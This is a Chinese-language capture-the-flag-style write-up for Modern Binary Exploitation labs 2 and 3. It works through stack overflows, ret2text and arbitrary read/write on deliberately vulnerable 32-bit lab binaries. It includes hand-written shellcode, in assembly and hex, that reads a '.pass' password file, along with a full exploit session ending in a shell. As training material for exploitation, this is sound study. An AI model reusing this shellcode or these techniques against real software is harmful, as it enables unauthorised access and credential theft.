0x00 背景

俗话说站在岸上学不会游泳,这篇文章则是对Modern Binary Exploitation中Lab2Lab3的write up。对应环境为ubuntu 14.04 x86 关闭了ASLR,并按照注释编译生成elf文件。

0x01 Lab2

lab2C

strcpy向下溢出覆盖set_me即可,反汇编可看出相对偏移:

注意下大小端问题即可:

lab2B

有点ret2text的意思,反汇编查看填充字节数:

查找一下全局变量的的地址:

最后依次向下覆盖padding+ebp+eip+padding+arg(exec_string)即可:

lab2A

void concatenate_first_chars()
{
	struct {
		char word_buf[12];
		int i;
		char* cat_pointer;
		char cat_buf[10];
	} locals;
	locals.cat_pointer = locals.cat_buf;

	printf("Input 10 words:\n");
	for(locals.i=0; locals.i!=10; locals.i++)
	{
		// Read from stdin
		if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
		{
			printf("Failed to read word\n");
			return;
		}
		// Copy first char from word to next location in concatenated buffer
		*locals.cat_pointer = *locals.word_buf;
		locals.cat_pointer++;
	}

	// Even if something goes wrong, there's a null byte here
	//   preventing buffer overflows
	locals.cat_buf[10] = '\0';
	printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

虽然fget控制了16字节,但是locals.word_buf向下跨越覆盖locals.i,不受循环次数限制慢慢copy locals.cat_pointer覆盖eip。构造好input后在gdb中可以良好运行执行shell,但在命令行中通过管道exploit总是会直接出现Segmentation fault。无奈gg后得知,是在正确弹出交互shell后,其stdin认为我们通过管道传递的input 到了EOF所以会关闭,这才导致无法交互shell。所以就有了一个trick(echo "payload" && cat) | ./interactive_shell

0x02 Lab3

lab3C

很正常的向64字节的数组中fget 0x64字节造成溢出,此题的本意是想让我们覆盖eip为栈上shellcode的起始地址,但是在gdb调试过程中覆盖ebx为0x90909090后,在执行ret指令时居然会出现Cannot access memory at address 0x90909094错误,虽然有些违反尝试但在外部正常传入shellcode的时候还是正常反应。

在gdb中一切都调试好后,在外部运行时又产生段错误,gg后发现为在gdb调试过程中栈地址会发生变化,所以原来的ret的栈地址就很有可能指向违法指令了,其实课程中也早已给了提示,审题还是很重要的呀。

遂运行时接上ltrace查看fget返回的栈地址:

对应替换一下就ok了:

lab3B

该题也很直接是溢出,但要求我们不能使用exec系统调用去读取.pass文件的内容,从C语言的角度来想是要实现这种效果:

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int fd;
    char content[8] = {0};
    fd = open(".pass", O_RDONLY);
    read(fd, content, 8);
    write(STDOUT_FILENO, content, 8);
    exit(0);
}

因为直接使用系统调用,所以linux上的shellcode比windows上好构造得多,只要了解系统调用的传参方式照葫芦画瓢即可:

push 0
push 0
push 0x73
push 0x7361702e
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov ebx,esp
mov al,5
int 0x80
mov ebx,eax
lea ecx,[esp-8]
mov dl,0x8
mov eax,3
int 0x80
mov ebx,1
mov al,4
int 0x80
mov al,1
xor ebx,ebx
int 0x80

Little endian:

"\x6a\x00\x6a\x00\x6a\x73\x68\x2e\x70\x61\x73\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x8d\x4c\x24\xf8\xb2\x08\xb8\x03\x00\x00\x00\xcd\x80\xbb\x01\x00\x00\x00\xb0\x04\xcd\x80\xb0\x01\x31\xdb\xcd\x80"

本地验证一哈:

既然shellcode也有了,其他方式和上一题一样处理就ok了:

lab3A

该题目一眼看出可以利用read_number实现任意地址读,利用store_number实现任意地址写。虽然存储的数组data的类型为unsigned int,貌似只能读取向下的地址就无法泄露出data数组的起始地址,但该程序为32位正好是四个字节,大地址相加后也就是符合负数补码的规律,结合反汇编可以知道在调用read_number函数时data数组的起始地址和保存data参数栈地址的偏移为-0x28:

补码形式为0xffffffd8,通过read index 1073741814即可得到data数组的起始地址。根据类似前面的计算偏移,store index 113即为覆盖了保存的eip地址。因为代码中的store index要求不能被三整除,所以我们retdata+4的地址即可。同时也要调整我们的shellcode,利用短跳\xeb跳过被3整除的0x00000000指令段,构造方法也是比较简单的,实践过程中还发现了原始ppt中的一个书写错误

shellcode还要多次输入,结合python脚本运行起来才比较轻松,但32位的pwntools安装就是各种问题,subprocess对运行elf也是莫名地阻塞,嫌麻烦最后手动输入即可pwn:

larry@binexp:~/MBE/src/lab03$ ./lab3A
----------------------------------------------------
  Welcome to quend's crappy number storage service!  
----------------------------------------------------
 Commands:                                          
    store - store a number into the data storage    
    read  - read a number from the data storage     
    quit  - exit the program                        
----------------------------------------------------
   quend has reserved some storage for herself :>    
----------------------------------------------------

Input command: read
 Index: 1073741814
 Number at data[1073741814] is 3221221000
 Completed read command successfully
Input command: store
 Number: 3221221004
 Index: 113
 Completed store command successfully
Input command: store
 Number: 2421211185
 Index: 1
 Completed store command successfully
Input command: store 
 Number: 2425358059
 Index: 2
 Completed store command successfully
Input command: store
 Number: 1932472168
 Index: 4
 Completed store command successfully
Input command: store
 Number: 2416307048
 Index: 5
 Completed store command successfully
Input command: store
 Number: 1768042344
 Index: 7
 Completed store command successfully
Input command: store
 Number: 2416307054
 Index: 8
 Completed store command successfully
Input command: store
 Number: 3247039369
 Index: 10
 Completed store command successfully
Input command: 2425358059
 Failed to do 2425358059 command
Input command: store
 Number: 2425358059
 Index: 11
 Completed store command successfully
Input command: store
 Number: 196133513
 Index: 13
 Completed store command successfully
Input command: store
 Number: 2425358059
 Index: 14
 Completed store command successfully
Input command: store
 Number: 3224469709
 Index: 16
 Completed store command successfully
Input command: store
 Number: 2425358059
 Index: 17
 Completed store command successfully
Input command: store
 Number: 2424360256
 Index: 19
 Completed store command successfully
Input command: quit
$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ exit

0x03 总结

下来想想如果直接搭建官方提供的虚拟机去做lab题目,环境相关的问题应该比另起炉灶少很多,另外在64位系统上使用pwntools exploit 32位程序也是可以试试的